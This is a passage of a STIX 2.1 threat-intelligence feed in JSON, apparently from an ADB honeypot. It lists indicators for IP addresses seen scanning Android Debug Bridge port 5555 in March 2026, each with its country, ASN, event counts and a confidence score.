      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=16276; asn_org=OVH SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-29T15:23:50.000Z | last_seen=2026-03-29T15:24:57.241Z | ports=5555 | cc=FR | asn=16276 | org=OVH SAS",
      "id": "indicator--86c2ae3e-755c-4965-9f8a-23a1fe5f3a2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.196.125.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T16:00:03.000Z",
      "valid_until": "2026-04-30T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-29T15:23:50.000Z",
          "last_seen": "2026-03-29T15:24:57.241Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "16276"
          ],
          "org": [
            "OVH SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-29T17:11:54.000Z | last_seen=2026-03-29T17:23:17.881Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited",
      "id": "indicator--2122625d-4df6-4d02-b8e5-7f9cb2caac31",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.236.71.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T18:00:03.000Z",
      "valid_until": "2026-04-30T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-29T17:11:54.000Z",
          "last_seen": "2026-03-29T17:23:17.881Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T18:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=HK; asn=4760; asn_org=HKT Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-29T17:11:54.000Z | last_seen=2026-03-29T17:23:17.881Z | ports=5555 | cc=HK | asn=4760 | org=HKT Limited",
      "id": "indicator--2122625d-4df6-4d02-b8e5-7f9cb2caac31",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.236.71.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T18:00:04.000Z",
      "valid_until": "2026-04-30T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-29T17:11:54.000Z",
          "last_seen": "2026-03-29T17:23:17.881Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "4760"
          ],
          "org": [
            "HKT Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=RS; asn=8400; asn_org=TELEKOM SRBIJA a.d.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-29T19:50:50.000Z | last_seen=2026-03-29T20:01:29.519Z | ports=5555 | cc=RS | asn=8400 | org=TELEKOM SRBIJA a.d.",
      "id": "indicator--b12f0e69-5a7f-4404-bebf-677e2b0ff544",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.93.245.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:00:03.000Z",
      "valid_until": "2026-04-30T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-29T19:50:50.000Z",
          "last_seen": "2026-03-29T20:01:29.519Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RS"
          ],
          "asn": [
            "8400"
          ],
          "org": [
            "TELEKOM SRBIJA a.d."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T20:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=RS; asn=8400; asn_org=TELEKOM SRBIJA a.d.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-29T19:50:50.000Z | last_seen=2026-03-29T20:01:29.519Z | ports=5555 | cc=RS | asn=8400 | org=TELEKOM SRBIJA a.d.",
      "id": "indicator--b12f0e69-5a7f-4404-bebf-677e2b0ff544",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '109.93.245.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T20:00:04.000Z",
      "valid_until": "2026-04-30T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-29T19:50:50.000Z",
          "last_seen": "2026-03-29T20:01:29.519Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RS"
          ],
          "asn": [
            "8400"
          ],
          "org": [
            "TELEKOM SRBIJA a.d."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-29T20:44:56.000Z | last_seen=2026-03-29T20:46:20.232Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--301a197d-04fc-4522-b12a-615f0d910271",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T21:00:03.000Z",
      "valid_until": "2026-04-30T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-29T20:44:56.000Z",
          "last_seen": "2026-03-29T20:46:20.232Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-29T20:44:56.000Z | last_seen=2026-03-29T20:46:20.232Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--301a197d-04fc-4522-b12a-615f0d910271",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T21:00:03.000Z",
      "valid_until": "2026-04-30T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-29T20:44:56.000Z",
          "last_seen": "2026-03-29T20:46:20.232Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=12083; asn_org=WideOpenWest Finance LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-29T22:19:10.000Z | last_seen=2026-03-29T22:30:44.666Z | ports=5555 | cc=US | asn=12083 | org=WideOpenWest Finance LLC",
      "id": "indicator--3e0f4514-cb81-4f50-8a2e-b7529197798b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '24.214.49.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T23:00:03.000Z",
      "valid_until": "2026-04-30T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-29T22:19:10.000Z",
          "last_seen": "2026-03-29T22:30:44.666Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "12083"
          ],
          "org": [
            "WideOpenWest Finance LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-29T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-29T22:07:12.000Z | last_seen=2026-03-29T22:08:14.796Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--a43de949-0439-4afd-9586-a48a3c12574f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T23:00:03.000Z",
      "valid_until": "2026-04-30T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-29T22:07:12.000Z",
          "last_seen": "2026-03-29T22:08:14.796Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=HK; asn=9269; asn_org=Hong Kong Broadband Network Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-30T00:27:52.000Z | last_seen=2026-03-30T00:29:32.223Z | ports=5555 | cc=HK | asn=9269 | org=Hong Kong Broadband Network Ltd.",
      "id": "indicator--accc8db6-3e8f-4723-9ad4-424c519cd178",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '59.188.170.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T01:00:04.000Z",
      "valid_until": "2026-05-01T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-30T00:27:52.000Z",
          "last_seen": "2026-03-30T00:29:32.223Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9269"
          ],
          "org": [
            "Hong Kong Broadband Network Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T02:00:18.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=139879; asn_org=Galaxy Broadband; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-30T01:33:10.000Z | last_seen=2026-03-30T01:43:31.746Z | ports=5555 | cc=PK | asn=139879 | org=Galaxy Broadband",
      "id": "indicator--f6d89430-1184-480e-a5c3-faf5f2a4b700",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '110.38.248.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:00:18.000Z",
      "valid_until": "2026-05-01T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-30T01:33:10.000Z",
          "last_seen": "2026-03-30T01:43:31.746Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "139879"
          ],
          "org": [
            "Galaxy Broadband"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T02:00:18.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-30T01:27:27.000Z | last_seen=2026-03-30T01:28:33.912Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f248c89a-4f30-4a60-bf57-a0cd3b205ab5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:00:18.000Z",
      "valid_until": "2026-05-01T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-30T01:27:27.000Z",
          "last_seen": "2026-03-30T01:28:33.912Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T02:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=139879; asn_org=Galaxy Broadband; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-30T01:33:10.000Z | last_seen=2026-03-30T01:43:31.746Z | ports=5555 | cc=PK | asn=139879 | org=Galaxy Broadband",
      "id": "indicator--f6d89430-1184-480e-a5c3-faf5f2a4b700",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '110.38.248.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:00:19.000Z",
      "valid_until": "2026-05-01T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-30T01:33:10.000Z",
          "last_seen": "2026-03-30T01:43:31.746Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "139879"
          ],
          "org": [
            "Galaxy Broadband"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T02:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-30T01:27:27.000Z | last_seen=2026-03-30T01:28:33.912Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f248c89a-4f30-4a60-bf57-a0cd3b205ab5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T02:00:19.000Z",
      "valid_until": "2026-05-01T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-30T01:27:27.000Z",
          "last_seen": "2026-03-30T01:28:33.912Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-30T02:36:17.000Z | last_seen=2026-03-30T02:47:44.789Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--666f0858-c360-45e6-b12f-0dae3e38b73b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:00:04.000Z",
      "valid_until": "2026-05-01T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-30T02:36:17.000Z",
          "last_seen": "2026-03-30T02:47:44.789Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-30T02:04:54.000Z | last_seen=2026-03-30T02:05:58.496Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--aa63a03f-986f-4178-941b-87c098d4eb00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.189.234.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-30T03:00:04.000Z",
      "valid_until": "2026-05-01T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-30T02:04:54.000Z",
          "last_seen": "2026-03-30T02:05:58.496Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-30T03:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-30T02:36:17.000Z | last_seen=2026-03-30T02:47:44.789Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--666f0858-c360-45e6-b12f-0dae3e38b73b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
